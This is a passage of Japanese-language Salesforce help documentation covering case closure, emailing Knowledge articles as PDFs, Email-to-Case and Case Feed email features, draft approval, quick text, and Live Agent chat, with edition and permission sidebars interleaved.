1. ケースの詳細ページの [ケースのクローズ] をクリックするか、[ケース] 関連

リストの[完了]をクリックします。ケースを編集中の場合は、[保存して閉じ
る] をクリックします。システム管理者が有効化した場合は、ケースの編集
ページの [状況] から [クローズ] を選択し、[保存] をクリックします。これ
以外の手順は不要です。

2. [状況]、[原因]、その他の必要な項目を更新します。
3. ソリューションが有効になっている場合は、ケースの [ソリューション詳細]

に入力できます。ソリューションを保存しない場合、またはソリューション
管理者によるレビューを受けるためにソリューションを送信しない場合は、
[公開ソリューションに登録] チェックボックスをオフにします。このチェッ
クボックスがオンの場合は、新しいソリューションがケースに自動的にリン
クされます。

4. ケースに取引先責任者が存在する場合は、[取引先責任者にケースクローズを
通知する] を選択すると、定義済みのケースクローズテンプレートに基づい
て取引先責任者にメールが送信されます。

5. [保存]または [記事の保存および作成]をクリックします。記事オプションは、Salesforce ナレッジとケースク
ローズ時の記事送信の両方が有効になっている場合に使用できます。

ヒント: 「ケースの管理」権限がある場合は、ケースリストの [閉じる]ボタンを使用すると一度に複数の
ケースをクローズできます。

関連トピック:

ソリューションの記述方法のヒント
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ケースからの記事の送信

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

「アプリケーションのカスタマイズ」メール-to-ケースまたはオンデマンドメー
ル-to-ケースを設定する

「すべてのデータの編集」

および

「アプリケーションのカスタマイズ」

メール-to-ケースまたはオンデマンドメー
ル-to-ケースを有効にする

「アプリケーションのカスタマイズ」ページレイアウトをカスタマイズする

「HTML テンプレートの編集」HTML メールテンプレートを作成または
変更する

「公開テンプレートの管理」公開メールテンプレートフォルダを作成
または変更する

「アプリケーションのカスタマイズ」Visualforce メールテンプレートを作成ま
たは変更する

記事がケースに関連付けられている場合、ケースで作業しているユーザは、作成したテンプレートを選択する
だけで PDF 版の記事をメールに添付できます。この機能は、メール-to-ケースまたはオンデマンドメール-to-ケー
スが設定され、[メール] 関連リストがケースページレイアウトで参照可能な場合に使用できます。

記事を PDF ファイルに変換するメールテンプレートの作成
ケースを担当するユーザが、メールメッセージに記事 PDF を自動的に添付できるようにする手順は、次のとお
りです。
1. [設定] から、[クイック検索] ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選択し

ます。
2. テンプレートを新規に作成するには、[新規テンプレート] をクリックします。または、既存のテンプレー

トの横にある [編集] をクリックします。新規または編集後のテンプレートには [PDF での記事] ケース項
目を含める必要があります。

3. たとえば、[サポート: ソリューションが関連するケースレスポンス (サンプル)] テンプレートを編集してソ
リューションではなく記事を含める場合は、次の手順を実行します。
a. [サポート: ソリューションが関連するケースレスポンス (サンプル)] テンプレートの横にある [編集] をク

リックします。
b. [メールテンプレート名]を「サポート: ソリューションが関連するケースレスポンス (サンプル)」に変更

します。
c. 必要に応じて、[テンプレートの一意の名前] を変更します。
d. [差し込み項目の種類] ドロップダウンメニューから [ケースの項目] を選択します。
e. [差し込み項目] ドロップダウンメニューから [PDF での記事] を選択します。
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f. [差し込み項目値] 項目から値をコピーしてメールの本文に貼り付けます。

4. [保存] をクリックします。
これでユーザが、ケース詳細ページの [メール] 関連リストで[メールを送信]をクリックし、新規テンプレー
トを選択できるようになります。ケースに関連付けられた記事は自動的に PDF 添付ファイルに変換されま
す。添付ファイルは、メール送信前に必要に応じてプレビューまたは削除できます。

メモ: 記事と知識ベースの言語は同じである必要があります。たとえば、知識ベースの言語が英語で、日
本語の記事を PDF に変換する必要がある場合、記事を変換する前に知識ベースの言語を日本語に変更しま
す ([設定] から、[クイック検索] ボックスに「ナレッジ」と入力し、[ナレッジの設定] を選択して、[編集]

をクリック)。

記事 PDF における項目の表示設定に関するメモ
[PDF での記事] 機能を持つメールテンプレートを使用するときは、次の点に留意してください。
• [プロファイルを使用してお客様が利用可能なケースに関する記事の PDF を作成] チェックボックス ([設定]

から、[クイック検索] ボックスに「ナレッジの設定」と入力し、[ナレッジの設定] を選択) がオフの場合、
記事 PDF に表示される項目はプロファイルによって異なります。元の記事のすべての項目を参照できる場
合、自動的に生成される PDF にもすべての項目が表示されます。項目レベルセキュリティによって記事上
の項目の参照が制限されている場合、それらの項目と項目のデータは記事 PDF には表示されません。

• [プロファイルを使用してお客様が利用可能なケースに関する記事の PDF を作成] チェックボックスがオン
で、プロファイルが [プロファイル]メニューから選択された場合 ([設定] から、[クイック検索] ボックスに
「ナレッジの設定」と入力し、[ナレッジの設定]を選択)、自動的に生成される PDF に表示される項目は、選
択されたプロファイルによって決まります。たとえば、記事 PDF を顧客に送信する場合、社外秘の項目が
記事 PDF に表示されないように、[カスタマーポータルユーザ] プロファイルを選択します。

• [初公開日]、[最終更新日]、[最終公開日]、[概要] など、記事の [プロパティ] セクションの各項目も、設
定やプロファイルには関係なく、PDF 版には含まれません。

関連トピック:

Salesforce ナレッジの概要
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顧客への応答

顧客へのメール送信

ケースメールとの連動

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースを参照する
• ケースに対する「参

照」

ケースメールと連携させ
る
• ケースに対する「編

集」

メール-to-ケースまたはオンデマンドメール-to-ケースを使用して生成されたケー
スが、[メール関連リスト] に表示されます。[メール] 関連リストには、お客様と
お客様の顧客との間のメールスレッドのほか、顧客が送信した特定のケースに
関するすべてのメールが表示されます。メールメッセージの最初の 77 文字が関
連リストに表示されるため、メールをクリックしなくても、メッセージの内容
を確認できます。
メール-to-ケースまたはオンデマンドメール-to-ケースを処理する手順は、次のと
おりです。
• [メールを送信] をクリックして、取引先責任者、別のユーザ、またはその他

のメールアドレスにメールを送信します。
• [返信] をクリックして、メールに返答します。返信メールには、お客様から

受信したメール本文が自動的に含まれます。返答を入力して、[送信]をクリッ
クします。
ケースの [メール] 関連リストにあるメールメッセージに返信するとき、受信
者には、メールの [差出人:]項目が「no-reply@salesforce.com」または
「support@company.com」と表示される場合があります。これは、受信者
のメールアプリケーションが受信メールの [送信者] ヘッダーや [差出人]

ヘッダーをどう受信するかによります。デフォルトでは、組織に対し [送信
者 ID 準拠を有効化] 設定がオンになっています。そうすることにより、
Salesforce から送信されたメールメッセージが、送信に [送信者] ヘッダーを
必要とするメールアプリケーションに準拠できます。

• メールスレッドに参加している人全員に返答する場合は、[全員] をクリックします。
• メールを表示するには、メールの件名をクリックします。メールから、送信者および全員への返答、メー

ルの転送または削除を行うことができます。
• [メールメッセージリスト] をクリックすると、メールを表示しながら、そのケースと関連付けられている

すべてのメールを表示することができ、[次へ] または [前へ] をクリックすると、そのケースの他のメール
に移動できます。

メモ: [メールメッセージリスト]、[次へ]、および [前へ] リンクは、カスタマーポータルおよびパート
ナーポータルでは利用できません。

• メールを表示しながら [転送] をクリックすると、そのメールが転送されます。そのメールには、お客様か
ら受信したメール本文が自動的に含まれます。必要に応じて、テキストを入力して、[送信] をクリックし
ます。
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• 元のメールが HTML メールの場合は、「HTML 形式に変換」リンクをクリックすると、HTML バージョンを表
示できます。メールのヘッダー全体を表示する場合は、「元のメールヘッダーを表示するにはこちらをク
リック」リンクをクリックします。

• 受信メールに添付されているファイルを表示するには、そのメールの [添付ファイル] 関連リストにアクセ
スします。送信メールに添付されているファイルを表示するには、送信メールの [添付ファイル] 関連リス
トを表示します。
添付ファイルの容量制限は 5 MB です。メールのエージェントを構成したユーザは、添付ファイルが制限サ
イズを超えたかどうかを調べるために、ログファイルを表示できます。

• メールを削除するには、[削除] をクリックします。削除されたメールは、ごみ箱から取り出すことができ
ます。ただし、ケースからメールを削除した場合は、そのメールをごみ箱から取り出すことはできません。

[メール] 関連リストには、最後に受信したメールを先頭に、受信した順序で表示されます。関連リスト内の
メールは、次のいずれかの状況で表示されます。

説明メール状況

まだ読まれていない受信メール。
[状況]が「新規」のメールの [件名]項目の内容は太
文字で表示されます。

新規

読まれたものの、返答されていない受信メール。既読

送信メール。送信

返答済みの受信メール。送信されたメールに返答する
と、返答済みになります。

返答済み

ケース内に新規 (未読) メールがあると、そのケースと関連付けられている「メール」ToDo がケース所有者の
ToDo リストに自動的に作成され、メールの件名が表示されます。所有者は、[ホーム] タブまたはケースの [活
動予定] 関連リストから、新しい ToDo を簡単に表示できます。所有者は、ToDo のリンクをクリックして、ケー
スと関連付けられているメールを参照できます。ユーザがメールに返答すると、その ToDo は所有者の ToDo リ
ストから削除され、ケースの [活動の履歴] 関連リストに追加されます。また、状況を「完了」に変えることに
よって、返答していないメール ToDo を [活動履歴] 関連リストに移動することもできます。

メモ: 受信メールがケースを新規作成して、割り当てルールがそのケースをキューに転送すると、メール
エージェントで設定されたユーザに「メール」ToDo が割り当てられます。
受信メールに既存の取引先責任者のメールアドレスが含まれていない場合、ケースの [Web 氏名] 項目
がそのメールの [差出人] 項目にある名前で自動的に更新されると共に、ケースの [Web メール] 項目も
受信メールにあるアドレスに自動的に更新されます。

ヒント:  [メールが関連するケースレポート] の実行中、[受信] 項目をレポートに追加すると、[メール-to-

ケース] で受信したケースを参照できます。

関連トピック:

ケースからの記事の送信
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ケースフィードからのメールの送信およびメールへの返信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを送信する
• 「メールの送信」

ケースフィードの [メール] アクションの機能を使用して、メッセージの作成時
間を節約したり、顧客に送信するメールをカスタマイズしたりします。
ケースフィードの [メール] アクションは、組織でメール-to-ケースを使用してい
て [ケースフィードアクションおよびフィード項目を有効化]設定が有効になって
いる場合にのみ使用できます。

メモ: システム管理者によるケースフィードの設定方法によっては、スク
リーンショットで説明するオプションの一部が使用できない、または異なっ
て見える可能性があります。

[メール] アクションの使用方法は次のとおりです。

1. ケースのフィードで、[メール]をクリックします。システム管理者によるケースフィードの設定方法によっ
ては、スクリーンショットで説明するオプションの一部が使用できない、または異なって見える可能性が
あります。メッセージへの返信を作成するには、フィードのメールメッセージの下にある [返信]または [全
員に返信] をクリックします。

2. 所属部門でメールテンプレートを使用している場合、メッセージに対応するメールテンプレートを選択し
ます。

3. [差出人] アドレスを選択します。
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この項目が選択リストとして表示されない場合、システム管理者がすでに送信元アドレスを定義していま
す。

4. 作成者が既存の取引先責任者である場合、ケースを作成した取引先責任者のメールアドレスは [宛先] 項
目に自動的に表示されます。受信者をさらに追加するには、 をクリックしてアドレスを検索するか、
メールアドレスまたは名前を [宛先] 項目に入力または貼り付けます。
• 入力したメールアドレスまたは名前が 1 人の取引先責任者またはユーザに一致すると、そのアドレスは

取引先責任者名の付いたボタンとして表示されます。
• 一度に複数のアドレスを追加するには、スペースまたはカンマで区切った複数のアドレスをコピーして

貼り付けます。これらのメールアドレスはボタンとして表示され、取引先責任者またはユーザに関連付
けられている場合は、取引先責任者の名前が表示されます。

• 入力したメールアドレスが複数の取引先責任者またはユーザに一致すると、そのアドレスはボタンとし
て表示されます。ボタンをクリックすると、そのメールアドレスに関連付けられているユーザのリスト
が表示されます。メッセージに関連付ける取引先責任者またはユーザを選択します。

5. 他のユーザにメッセージに送信する場合、[Cc を追加] または [Bcc を追加] をクリックします。
6. デフォルトでは、メール件名は関連するケースの名前です。件名が含まれているメールテンプレートを適

用する場合、テンプレートの件名が表示されます。件名は必要に応じて編集できます。
7. リッチテキストエディタを使用して、メッセージを書式設定します。
8. メッセージを作成します。所属部門でクイックテキストメッセージを使用している場合、メールの本文に

クイックテキストメッセージを追加できます。
9. システム管理者がメールドラフトを有効化している場合、[保存] をクリックすると、メッセージを送信す

ることなくそのメッセージのコピーを保存できます。メッセージをドラフトとして保存すると、ケースへ
のアクセス権のあるエージェントはそのドラフトを編集できます。

10. ファイルをメッセージに追加するには、[ファイル添付] をクリックするか、ファイルを添付ファイルペイ
ンにドラッグアンドドロップします。

11. 必要に応じて、メッセージに記事を添付します。
12. [メールを送信] をクリックします。

注意: システム管理者によるケースフィードの設定方法によっては、このボタン名が異なる場合がありま
す。

ヒント: メッセージペインの高さを変更するには、右下隅で をクリックしてドラッグします。拡大
すると、作成している内容の詳細を確認できます。縮小すると、スクロールせずにフィードにより多く
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のケース履歴を表示できます。メッセージペインのサイズを変更すると、再度サイズを変更するまで、
メールを作成するときは常にその新しいサイズで表示されます。

関連トピック:

ケースフィードの [コミュニティ] アクションによるケースおよびコミュニティの質問への投稿
ケースフィードの概要
ケースフィードでのクイックテキストの使用
メール-to-ケース
ケースフィードアクションとフィード項目の有効化

ケースフィードのメールメッセージへの画像とファイルの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

添付ファイルまたはイン
ライン画像を含むメール
を送信する
• 「メールの送信」

メールメッセージにファイルを添付し、インライン画像を追加して画像でテキ
ストを拡張することで、ユーザに包括的な情報を提供し、問題をより迅速に解
決できるようにします。
たとえば、処理しているケースで、問題を解決するためにユーザがいくつかの
異なるソリューションを試さなければならない場合、方法を説明する動画や、
複数の詳細なトラブルシューティング手順を含むドキュメントを添付できます。
ユーザが特定のトラブルシューティング手順に注意深く従う必要がある場合、
メッセージ本文内の各ステップの後にインライン画像を使用することができま
す。
• インライン画像を追加するには、ケースフィードメールパブリッシャーの

ツールバーで をクリックし、必要な画像をアップロードまたはリンクし
ます。埋め込む画像はそれぞれ 1 MB 以下
で、.png、.jpg、.jpeg、.jpe、.jfif、.pjpeg、.bmp、.gif のいずれかの形式にする必
要があります。画像とテキストを含むメールメッセージの合計サイズは、12

MB 以下にする必要があります。

メモ: 画像を埋め込むには、メールパブリッシャーでリッチテキストエ
ディタを使用する必要があります。プレーンテキストメッセージに画像
を埋め込むことはできません。

• ファイルをメールに添付するには、[ファイルをアップロード]をクリックしてコンピュータまたはSalesforce

からファイルを選択するか、すでにケースに添付されているファイルを使用するか、メールパブリッシャー
下部にある添付ファイル領域にファイルをドラッグアンドドロップします。各メールメッセージには、合
計で最大 10 MB まで添付できます。Salesforce では、すべての種類のファイルがサポートされます。

メモ: ドラッグアンドドロップ機能は、HTML5 をサポートするブラウザでのみ使用できます。

• 追加した添付ファイルのリストを表示するには、[ファイル:] をクリックします。
•

添付ファイルを削除するには、添付ファイルの横にある をクリックします。
メールの受信者がメッセージを表示すると、埋め込まれた画像がメールの本文に表示されます。メッセージに
添付したすべてのファイルの合計サイズが 3 MB を超えると、添付ファイルはすべてリンクとして表示され、
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受信者はそのリンクを使用してファイルをダウンロードできます。添付ファイルの合計サイズが 3 MB 未満の
場合、各ファイルは添付ファイルとして表示されます。

例: たとえば、アプライアンス会社のサポートエージェントが、冷蔵庫の製氷機が不調な顧客のケースを
処理しているとします。顧客に、製氷機のトラブルシューティング手順をステップごとに説明したメー
ル (各ステップの後に画像を挿入) を、冷蔵庫のユーザマニュアルの PDF (2 MB のファイル) と冷蔵庫の正常
な動作を維持するための保守ヒントの一覧 (10 KB のファイル) の 2 つのドキュメントを添付して送信しま
す。顧客が受信したメールには、次のファイルとドキュメントが表示されます。
• 顧客がトラブルシューティング手順を実行しながら 1 ステップごとに画像を参照できるようにメール

の本文に埋め込まれた画像
• メッセージに添付されたユーザマニュアルと保守ヒントの一覧 (合計サイズが 3 MB 未満であるため)

トラブルシューティングビデオ (2.5 MB のファイル) も添付した場合、すべての添付ファイルの合計サイズ
が 3 MB を超えるため、3 つの添付ファイルはすべてリンクとして顧客に表示されます。

関連トピック:

ケースフィードからのメールの送信およびメールへの返信
ケースフィード記事ツールを使用した、記事の検索、添付、およびメール送信
ケースフィードのリッチテキストエディタを使用したメールのカスタマイズ

ケースフィードのメールテンプレートの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを送信する
• 「メールの送信」

テンプレートを使用すると、一貫性を保ち時間を節約しながら、顧客名、ケー
ス番号などの基本情報をすべてワンクリックで挿入できます。システム管理者
がテキスト、HTML、またはVisualforceのメールテンプレートを作成した場合、ま
たは独自のテンプレートを作成した場合、ケースフィードで顧客にメールする
ときに使用できます。
最良の結果を得るには、メールテンプレートの操作時にリッチテキストエディ
タを使用することをお勧めします。

メモ: システム管理者によるケースフィードの設定方法によっては、[メー
ル] アクションを使用すると、事前に読み込まれたテンプレートが表示され
る場合があります。必要に応じて別のテンプレートを選択するには、次の
手順を使用します。

テンプレートを使用する手順は、次のとおりです。
1. 表示されるアクションに応じて、[顧客への回答] をクリックして [メール]

を選択するか、[メール] をクリックします。
2. [テンプレートを選択] をクリックします。
3. 使用するテンプレートが含まれるフォルダを選択します。
4. メールに追加するテンプレートの名前をクリックします。
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ヒント:

• 複数のテキストまたは HTML テンプレートを選択すると、テンプレートは選択した順序で追加され
ます。Visualforce テンプレートを別のテンプレートを選択した後に選択すると、先に選択したテン
プレートは新しく選択したテンプレートに置き換えられます。

• 選択したテンプレートに含まれる添付は、メッセージに含められます。
• 選択したテンプレートに含まれる差し込み項目は、ケースに関連付けられた項目のみマージされま

す。
• テンプレートを削除するには、 をクリックします。入力したテキストとテンプレートの添付も

すべて削除されます。

5. メッセージの作成と送信を終了します。

ケースフィードのドラフトメールの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ドラフトメールを使用すると、サポートエージェントは作成した顧客宛てメッ
セージをすぐに送信せずに保存できます。また、システム管理者がメールメッ
セージの承認プロセスを作成することもできます。
ドラフトは、システム管理者がドラフトを有効化している場合にのみサポート
されます。
サポートエージェントは、メッセージをドラフトとして保存しておいて、解決
しようとしている問題に関する追加の情報を収集したり、同僚とトラブルシュー
ティング手順を確認したり、休憩したり、Salesforce からログアウトしたりする
ことができます。メールをドラフトとして保存するには、メールを書いている
テキストボックスの下にある [保存] をクリックします。

メモ: ドラフトは自動保存されません。

各ケースに関連付けることのできるドラフトメールは 1 つのみであるため、自分または他のユーザが保存した
ドラフトに関連付けられているケースで作業している場合、そのドラフトが送信または破棄されるまで他の
メールを作成することはできません。関連付けられているドラフトのあるケースを表示すると、そのドラフト
を作成したユーザ名およびドラフトを表示するリンクを記載した通知が表示されます。ケースへのアクセス権
を持つすべてのエージェントまたはスーパーバイザは、ドラフトメールが承認を待機中でない限り、そのドラ
フトメールを編集できます。
企業でメールメッセージの承認プロセスが使用されている場合、メールを送信すると、確認のためにスーパー
バイザに送信されます (システム管理者による承認プロセスの設定方法に応じて、確認のためにメッセージを
送信するオプションが表示されるか、確認なしでメッセージを送信することができます)。スーパーバイザが
メッセージを承認すると、そのメッセージは顧客に送信されます。メールが承認されない場合、ケースの表示
中に[メール]をクリックすると、説明を記載したメッセージがメールパブリッシャーの上部に表示されます。
そのメッセージを編集して、再送信することができます。

関連トピック:

メールドラフトの確認と承認
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メールドラフトの確認と承認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールドラフトを確認し
て承認する
• 「メールの送信」

および

メール承認プロセスに
含まれている

システム管理者による組織のドラフトメールおよび承認プロセスの設定方法に
よっては、自分が監督するエージェントが作成したメッセージを顧客に送信す
る前に、確認して承認する必要がある場合があります。
エージェントが承認のためのメッセージを送信すると、そのメッセージを含む
ケースへのリンクを記載したメール通知が送信されます。通知は、[メール]をク
リックするとパブリッシャーの上部に表示されます。[メールを参照]をクリック
すると、メッセージの詳細ページに移動します。そのページでは、次の操作を
実行できます。
• [レコードのロック解除] をクリックして、メッセージを編集可能にする。
• [削除] をクリックして、ドラフトを破棄する。
• [承認履歴] 関連リストにある [承認/却下]をクリックして、メッセージを承認

または却下する。
• [再割り当て] をクリックして、他のスーパーバイザに承認を割り当てる。
メッセージを承認すると、そのメッセージは顧客に送信されます。却下すると、
理由を説明するメモを作成するオプションが表示されます。このメモは、エー
ジェントが [メール] をクリックすると、ケースページのパブリッシャーの上に
ドラフトが却下されたという通知と共に表示されます。

関連トピック:

ケースフィードのドラフトメールの使用
ケースフィードのデフォルトメールテンプレートの有効化
メールドラフトの承認プロセスの作成

ケースフィードのリッチテキストエディタを使用したメールのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを送信する
• 「メールの送信」

リッチテキストエディタでは、顧客に送信するメールをカスタマイズできます。
リッチテキストエディタを使用して、テキストの書式を設定したり、箇条書き
や番号付き箇条書きを追加したり、画像やリンクを追加したりします。

エディタへのアクセス
リッチテキストエディタは、[メール]をクリックするか、[メール]をクリックし
て [顧客への回答] をクリックすると、ケースフィードのパブリッシャーに表示
されます。次の場合、リッチテキストエディタは表示されません。
• システム管理者がリッチテキストエディタを有効にしていない場合。
• ケースフィードで最後に作成したメールにプレーンテキストエディタを使用

した場合。リッチテキストエディタに切り替えるには、切り替えアイコン
をクリックします。
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リッチテキストエディタ使用のヒント
• リッチテキストエディタは、[メール] アクションにのみ使用できます。
• エディタに HTML など他の種類のマークアップを入力しても、メッセージを送信するときに表示されませ

ん。
• メッセージを削除するには、 をクリックします。

ケースフィードでのクイックテキストの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースフィードでクイッ
クテキストを使用する
• クイックテキストに対

する「参照」

クイックテキストを使用すると、顧客への応答やケースの更新をすばやく行う
ことができます。挨拶や一般的なトラブルシューティング手順など、事前に作
成したメッセージをメールやポータル投稿のような顧客との通信手段に挿入で
きます。事前に作成したメモをケース状況の変更や活動ログに挿入することも
できます。ケースフィードでは、[メール]、[ポータル]、[状況の変更]、[活動の
記録] アクションでクイックテキストを使用できます。

メモ: 操作しているアクションで使用できるのは、そのアクションのチャ
ネルに割り当てられたクイックテキストメッセージのみです。たとえば、
[メール] アクションで使用できるのは、[メール] チャネルに割り当てられた
メッセージのみです。

1. [メール]、[ポータル]、[状況の変更]、または [活動の記録] アクションを選択
します。

2. アクションの本文で、「;;」と入力します。
すでにクイックテキストを使用している場合、クイックテキストメッセージ
のリストが新しい順に表示されます。クイックテキストを初めて使用する場
合、メッセージは表示されません。

3. その他のメッセージを表示するには、単語または語句を入力します。
それらの単語を含むメッセージのリストが表示されます。

4. メッセージのタイトルおよび全文を表示するには、メッセージをクリックするか、キーボードの矢印キー
を使用して強調表示します。
完全なメッセージは [クイックテキスト] リストの下部に表示されます。

5. メッセージを選択するには、メッセージをダブルクリックするか強調表示して Enter キーを押します。
選択したメッセージが差し込み項目を含む場合は、メッセージを追加するときにそれらの差し込み項目が
解決されます。

Live Agent での顧客とのチャット
Live Agent は、残りの Salesforce と完全に統合されているチャットソリューションであり、顧客に関する必要な
すべての情報に単一のワークスペースから簡単にアクセスできます。
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サポートエージェントの Live Agent

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

サポートエージェントの Live Agent へようこそ。Live Agent は、顧客を簡単にサ
ポートできるようにする包括的なチャットソリューションです。
サポートエージェントは、多くの顧客のサポート問題に毎日対応します。Live

Agentは、残りの Salesforceと完全に統合されているチャットソリューションであ
り、顧客に関する必要なすべての情報に単一のワークスペースから簡単にアク
セスできます。また、Salesforce では、Service Cloud の機能を活用して、知識ベー
スや定義済みのサポートメッセージなどの重要なツールにアクセスすることで、
顧客のサポートおよびケースの解決をすばやく行うことができます。
Live Agent での経験の有無に関係なく、チャットで複数の顧客を同時に簡単にサ
ポートできるいくつかのツールを自由に使用できます。では始めましょう。
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チャットを使用した顧客のサポート

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

Live Agent を使用すると、顧客の問題解決をすばやく支援できます。
Salesforce コンソールの Live Agentを使用すれば、他の Service Cloud 製品にアクセス
して包括的に顧客をサポートできます。

Live Agent の状況の変更
Live Agentの状況を変更することで、新しいチャットや転送されたチャットを
受け入れられるかどうかを制御できます。
顧客とのチャット
受信チャット要求を受け入れて、顧客とのチャットを開始します。
チャット中の顧客の詳細へのアクセス
チャット要求を受け入れると、そのチャットの詳細タブが自動的に開きま
す。詳細タブには訪問者に関する情報が含まれているため、取引先責任者、
ケースなどのチャットに関連するレコードを検索できます。
チャットでのクイックテキストメッセージの送信
一般的なメッセージをさらにすばやく送信するには、事前に作成したメッ
セージをチャット顧客に送信します。
チャット中のファイル転送
チャット中に顧客がファイルをアップロードして転送できるようにします。
これにより、顧客が各自の問題に関する重要な情報を簡単に共有できるよう
になります。
望ましくないチャット顧客のブロック
厄介な顧客のチャットをSalesforce コンソールから直接ブロックできます。た
とえば、顧客が暴言を吐いたり、スパムメッセージを送ってきたりする場合
に、そのユーザが新しいチャットを開始できないようにすることができま
す。
チャットセッションの終了
顧客とのチャットとそれらのチャットに関連するレコードの更新が完了したら、チャットセッションを終
了します。
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Live Agent の状況の変更

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

Live Agent の状況を変更することで、新しいチャットや転送されたチャットを受
け入れられるかどうかを制御できます。
Live Agent では、オンライン状況を [オンライン]、[退席中]、または [オフライン]

に設定できます。Live Agent を終了すると、状況が自動的に [オフライン] に変わ
りアクティブなチャットセッションは終了します。
1. Live Agent フッターウィジェットをクリックして、チャットモニタを開きま

す。
2. チャットモニタの右上隅にあるドロップダウン矢印をクリックして、状況オ

プションを表示します。
3. 状況を選択します。

Live Agent の状況
Live Agent状況は、オンライン、退席中、オフラインの場合に顧客とやりとり
する方法を定義します。
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Live Agent の状況

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent 状況は、オンライン、退席中、オフラインの場合に顧客とやりとりす
る方法を定義します。

説明状況

受信チャットまたは転送を受信し、受け入れることができます。オンライン

すでに開始しているチャットセッションは継続できますが、受信
チャットまたは転送を受け入れることはできません。

退席中

受信チャットまたは転送を受け入れることはできず、自分にチャッ
トを転送することもできません。

オフライン
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顧客とのチャット

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

受信チャット要求を受け入れて、顧客とのチャットを開始します。
新しいチャット要求または転送要求を受信すると、待機中の要求がチャットモ
ニタに表示されます。チャットが作成されたリリースまたは Web サイト、顧客
の名前 (利用可能な場合)、要求の回答待機時間 (分) を表示できます。
複数の顧客と同時にチャットできます。各チャットセッションは個別の主タブ
で開きます。
1. チャットモニタで、チャット要求の [参加する] をクリックします。

新しい主タブでチャットログが開きます。
2. 顧客へのメッセージをメッセージ項目に入力します。
3. 顧客にメッセージを送信するには、[送信] をクリックするか、キーボードの

Enter キーを押します。
4. 顧客のサポートが終了したら、[チャットを終了する] をクリックします。

顧客が先にチャットを終了すると、チャットログに通知が表示されます。
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チャット中の顧客の詳細へのアクセス

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition
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ユーザ権限

レコードを検索および参
照する
• オブジェクトに対する

「参照」

および

Live Chat トランスクリ
プトに対する「作成」

新しいレコードを作成す
る
• オブジェクトに対する

「作成」

および

Live Chat トランスクリ
プトに対する「作成」

レコードを編集する
• オブジェクトに対する

「編集」

および

Live Chat トランスクリ
プトに対する「作成」

レコードを削除する
• オブジェクトに対する

「削除」

および

Live Chat トランスクリ
プトに対する「作成」

チャット要求を受け入れると、そのチャットの詳細タブが自動的に開きます。
詳細タブには訪問者に関する情報が含まれているため、取引先責任者、ケース
などのチャットに関連するレコードを検索できます。
• レコードを検索するには、ページの [関連エンティティ] セクションの関連す

るボックスに名前を入力して、 をクリックします。検索するレコードを
